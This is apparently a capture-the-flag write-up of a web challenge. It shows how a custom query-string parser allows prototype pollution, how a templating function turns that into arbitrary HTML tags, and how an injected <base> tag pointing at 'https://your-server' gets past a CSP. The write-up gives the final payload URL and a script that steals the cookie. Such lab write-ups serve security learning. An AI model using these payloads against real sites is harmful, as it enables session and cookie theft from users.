the query parser

looking at the code itself, one thing immediately stood out to me: the “extended” query string parser

7
function parseQuery(query) {
8
  query = query.replace(/$\?/, "");
9
  const params = query.split("&");
10
  const result = {};
11
  for (const param of params) {
12
    const [key, value] = param.split("=").map(decodeURIComponent);
13
    if (key.includes("[")) {
14
      const parts = key.split("[").map((part) => part.replace(/]$/, ""));
15
      let curr = result;
16
      for (let part of parts.slice(0, -1)) {
17
        if (curr[part] === undefined) {
18
          curr[part] = {};
19
        }
20
        curr = curr[part];
21
      }
22
      curr[parts[parts.length - 1]] = value;
23
    } else {
24
      result[key] = value;
25
    }
26
  }
27

28
  return result;
29
}

extended query parsing lets you create more complex data structures within query parameters. so if you send a query such as a=b&obj[a]=b, it would parse to this:

{
    "a": "b",
    "obj": {
        "a": "b"
    }
}

however, the reason why that specific feature stands out is because:

1. there are standard implementations of extended query parsing. this is a custom implementation added for no reason.
2. there’s no check if you send something like __proto__[a]=b, making it potentially susceptible to prototype pollution.

but prototype pollution would only take you as far as the application allows. that is, if the application is written in a way that would actually leverage a polluted object you add.

looking further into the code, we see this function:

43
// templating
44
function replaceAllProps(obj, props) {
45
  if (typeof obj !== "object") {
46
    return obj;
47
  }
48
  if (obj.attributes !== undefined) {
49
    obj.attributes = Object.fromEntries(
50
      Array.from(Object.entries(obj.attributes)).map(([key, value]) => [
51
        key,
52
        replaceProps(value, props),
53
      ])
54
    );
55
  }
56
  if (obj.text !== undefined) {
57
    obj.text = replaceProps(obj.text, props);
58
  }
59
  if (obj.children !== undefined) {
60
    obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
61
  }
62
  return obj;
63
}

it’s used in the getPage() function:

65
async function getPage(page, props) {
66
  const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());
67
  return replaceAllProps(pageDocument, props);
68
}

this is then used in a fastify route:

82
fastify.get("/:page", async (req, reply) => {
83
  const page = req.params.page || "index";
84
  if (!/^\w+$/.test(page)) {
85
    reply.code(400);
86
    return { err: "invalid page" };
87
  }
88

89
  reply.header(
90
    "content-security-policy",
91
    `require-trusted-types-for 'script'; trusted-types 'none'`
92
  );
93
  reply.type("text/html");
94
  const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");
95
  return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
96
});

this is where prototype pollution could help us: in replaceAllProps(), it checks if obj.children is defined. we can make it always defined with whatever we want by polluting __proto__[children].

exploiting the prototype pollution

if we could control obj.children, we could add whatever html tag we want to the page as a child of every element that doesn’t have children.

testing a basic example, it didn’t seem to work at first.

http://localhost:8000/index
  ?__proto__[children][0][tag]=script
  &__proto__[children][0][attributes][src]=a

after some debugging, i realized what this line in replaceAllProps() was doing:

59
if (obj.children !== undefined) {
60
  obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
61
}

right now, obj.children looked like this for every object that had no defined children:

{
  "children": {
    "0": {
      "tag": "script",
      "attributes": {
        "src": "a"
      },
    }
  }
}

the issue with this is if you passed it to Array.from() like replaceAllProps() is doing, it would return undefined. why? because Array.from() expects an “array-like object”.

so how do we make it an “array-like object”? after some research, i found you can do this by just adding a length property to the object. so if we send this:

{
  "__proto__": {
    "children": {
      "0": {
        "tag": "script",
        "attributes": {
          "src": "a"
        }
      },
      "length": 1
    }
  }
}

this would make Array.from() return the array we want, adding our arbitrary tag to the page.

after realizing, i sent this to the server:

http://localhost:8000/index
  ?__proto__[children][0][tag]=script
  &__proto__[children][0][attributes][src]=a
  &__proto__[children][length]=1

this “worked”, but resulted in a call-stack size exceeded error, since replaceAllProps() is recursive. it would run infinitely since obj.children was always defined. at least now we know the prototype pollution worked lol.

to fix, all you do is add your own children property to the polluted object:

http://localhost:8000/index
  ?__proto__[children][0][tag]=script
  &__proto__[children][0][attributes][src]=a
  &__proto__[children][length]=1
  &__proto__[children][0][children]=0

so now what? we can’t directly add a script tag to the page because of the content security policy (csp):

89
reply.header(
90
  "content-security-policy",
91
  `require-trusted-types-for 'script'; trusted-types 'none'`
92
);

the base element (bypassing the csp)

the <base> element is a tag that specifics a base url for all relative urls in the page. the index.html where the json pages are injected to looks like this:

1
<!DOCTYPE html>
2
<html>
3
  <head>
4
    <meta charset="utf-8" />
5
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
6
    <title>Writeups</title>
7
    <meta name="viewport" content="width=device-width, initial-scale=1" />
8
  </head>
9
  <body>
10
    <div id="content"></div>
11
    <script>
12
      const initial = {{initial}};
13
    </script>
14
    <script src="/scripts/utils.js"></script>
15
    <script src="/scripts/load.js"></script>
16
    <script src="/scripts/routing.js"></script>
17
  </body>
18
</html>

load.js is what actually loads the json pages into #content.

so if we can inject <base href="https://your-server"> before the <script src="/scripts/routing.js"> tag, we can load https://your-server/scripts/routing.js, completely bypassing the csp!

since load.js is loaded before routing.js, our prototype pollution injecting arbitrary tags would work here, and we could use it to inject a <base> tag!

my final payload looked like this:

http://localhost:8000/
  ?__proto__[children][0][tag]=base
  &__proto__[children][0][attributes][href]=https://your-server
  &__proto__[children][length]=1
  &__proto__[children][0][children]=0

i then served a simple scripts/routing.js file that stole the flag cookie:

1
window.location = `/?${document.cookie}`

and after entering any page of the site into the admin bot (since the prototype pollution would persist), we get the flag!

bctf{javascript_is_a_perfect_language_with_no_flaws_whatsoever}